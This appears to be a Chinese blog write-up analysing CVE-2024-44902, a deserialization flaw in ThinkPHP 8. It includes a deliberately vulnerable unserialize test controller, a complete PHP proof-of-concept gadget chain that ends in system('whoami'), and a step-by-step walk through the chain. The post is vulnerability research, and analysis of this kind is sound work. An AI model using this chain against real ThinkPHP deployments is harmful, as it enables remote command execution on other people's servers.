thinkphp最新CVE-2024-44902反序列化漏洞
最近看到漏洞上出现了tp的新的cve,因此来分析分析
参考https://avd.aliyun.com/detail?id=AVD-2024-44902
环境搭建
tp环境搭建网上很多教程
这里使用的是tp8和php8.0.2
只需要设置一个反序列化入口
<?php
namespace app\controller;
use app\BaseController;
class Index extends BaseController
{
public function index()
{
unserialize($_GET['x']);
return '<style>*{ padding: 0; margin: 0; }</style><iframe src="https://www.thinkphp.cn/welcome?version=' . \think\facade\App::version() . '" width="100%" height="100%" frameborder="0" scrolling="auto"></iframe>';
}
public function hello($name = 'ThinkPHP8')
{
return 'hello,' . $name;
}
}
漏洞复现
POC
<?php
namespace think\cache\driver;
use think\model\Pivot;
class Memcached{
protected $options=[];
function __construct()
{
$this->options["username"]=new Pivot();
}
}
namespace think\model;
use think\model;
class Pivot extends Model
{
}
namespace think;
abstract class Model{
private $data = [];
private $withAttr = [];
protected $json = [];
protected $jsonAssoc = true;
function __construct()
{
$this->data["fru1ts"]=["whoami"];
$this->withAttr["fru1ts"]=["system"];
$this->json=["fru1ts"];
}
}
namespace think\route;
use think\DbManager;
class ResourceRegister
{
protected $registered = false;
protected $resource;
function __construct()
{
$this->registered=false;
$this->resource=new DbManager();
}
}
namespace think;
use think\model\Pivot;
class DbManager
{
protected $instance = [];
protected $config = [];
function __construct()
{
$this->config["connections"]=["getRule"=>["type"=>"\\think\\cache\\driver\\Memcached","username"=>new Pivot()]];
$this->config["default"]="getRule";
}
}
use think\route\ResourceRegister;
$r=new ResourceRegister();
echo urlencode(serialize($r));
链子分析
这里的入口点变了选择的是ResourceRegister
public function __destruct()
{
if (!$this->registered) {
$this->register();
}
}
进入register方法
protected function register()
{
$this->registered = true;
$this->resource->parseGroupRule($this->resource->getRule());
}
这里resource就是
class ResourceRegister
{
protected $registered = false;
protected $resource;
function __construct()
{
$this->registered=false;
$this->resource=new DbManager();
}
}
DbManager类
会触发DbManager的call方法
public function __call($method, $args)
{
return call_user_func_array([$this->connect(), $method], $args);
}
然后调用$this->connect()方法
public function connect(string $name = null, bool $force = false)
{
return $this->instance($name, $force);
}
跟进instance方法
这里传入的name是null
会调用
if (empty($name)) {
$name = $this->getConfig('default', 'mysql');
}
返回的是return $this->config[$name] ?? $default;
我们构造的
class DbManager
{
protected $instance = [];
protected $config = [];
function __construct()
{
$this->config["connections"]=["getRule"=>["type"=>"\\think\\cache\\driver\\Memcached","username"=>new Pivot()]];
$this->config["default"]="getRule";
}
}
返回getRule
到下一个if判断
if ($force || !isset($this->instance[$name])) {
$this->instance[$name] = $this->createConnection($name);
}
跟进createConnection方法
protected function createConnection(string $name): ConnectionInterface
{
$config = $this->getConnectionConfig($name);
$type = !empty($config['type']) ? $config['type'] : 'mysql';
if (str_contains($type, '\\')) {
$class = $type;
} else {
$class = '\\think\\db\\connector\\' . ucfirst($type);
}
/** @var ConnectionInterface $connection */
$connection = new $class($config);
$connection->setDb($this);
if ($this->cache) {
$connection->setCache($this->cache);
}
return $connection;
}
调用getConnectionConfig
protected function getConnectionConfig(string $name): array
{
$connections = $this->getConfig('connections');
if (!isset($connections[$name])) {
throw new InvalidArgumentException('Undefined db config:' . $name);
}
return $connections[$name];
}
根据我们的构造返回
我们的type就是\think\cache\driver\Memcached
这里
$connection = new $class($config);
实例化我们的类
重点在
if ('' != $this->options['username']) {
$this->handler->setOption(\Memcached::OPT_BINARY_PROTOCOL, true);
$this->handler->setSaslAuthData($this->options['username'], $this->options['password']);
}
因为我们的username构造为new Pivot()
class Memcached{
protected $options=[];
function __construct()
{
$this->options["username"]=new Pivot();
}
}
所以会触发Pivot的tostring方法,之后就是tp6的链子了
就简单讲讲最后命令执行的部分
就拿以前的链子部分讲了,网上也很多,原理是一样的
看到getvalue方法
跟进看一下
protected function getJsonValue($name, $value)
{
if (is_null($value)) {
return $value;
}
foreach ($this->withAttr[$name] as $key => $closure) {
if ($this->jsonAssoc) {
$value[$key] = $closure($value[$key], $value);
} else {
$value->$key = $closure($value->$key, $value);
}
}
return $value;
}
如果value不为空并且$this->jsonAssoc为真就可以进入
$value[$key] = $closure($value[$key], $value);
达到一样的效果
需要进入getJsonValue需要满足这个if判断
if (in_array($fieldName, $this->json) && is_array($this->withAttr[$fieldName])) {
$value = $this->getJsonValue($fieldName, $value);
}
https://xz.aliyun.com/t/12630?time__1311=GqGxuDRiiQemqGN4CxUxOFKG%3Dc%2Bt8rD#toc-3讲得很清楚
先看in_array($fieldName, $this->json)
,之前也说过其实$fieldName就是我们data的键值,所以可以构造:
protected $json = ["key"];
当data的键为key时,$fieldName
就为key,那就满足了in_array
再看is_array($this->withAttr[$fieldName])
相当于判断withAttr['key']是否为数组,所以就可以构造:
private $withAttr = ["key"=>["key1"=>"system"]];
绕过后便进入了getJsonValue()
——>$value = $this->getJsonValue($fieldName, $value); 其中$fieldName, $value分别是data的键和值,上条链有说过。先看下最后设置的$data值
private $data = ["key" => ["key1" => "whoami"]];
跟进后看下foreach语句,$name是上边的$fieldName=key,$value还是之前的$value的值=["key1" => "whoami"]
protected function getJsonValue($name, $value)
{
foreach ($this->withAttr[$name] as $key => $closure) {
if ($this->jsonAssoc) {
$value[$key] = $closure($value[$key], $value);
}
所以这里withAttr[$name]=withAttr['key']=["key1"=>"system"]
,所以经过foreach后$key=key1,$closure=system
将$this->jsonAssoc
设为true——>$this->jsonAssoc = true;
最后进入if,$closure($value[$key], $value);
=>system('data['key1]',$value)=>system('whoami',$value);
最后
我在调试过程中一会又能执行命令,一会又不能,我还是没有明白,有没有师傅解释解释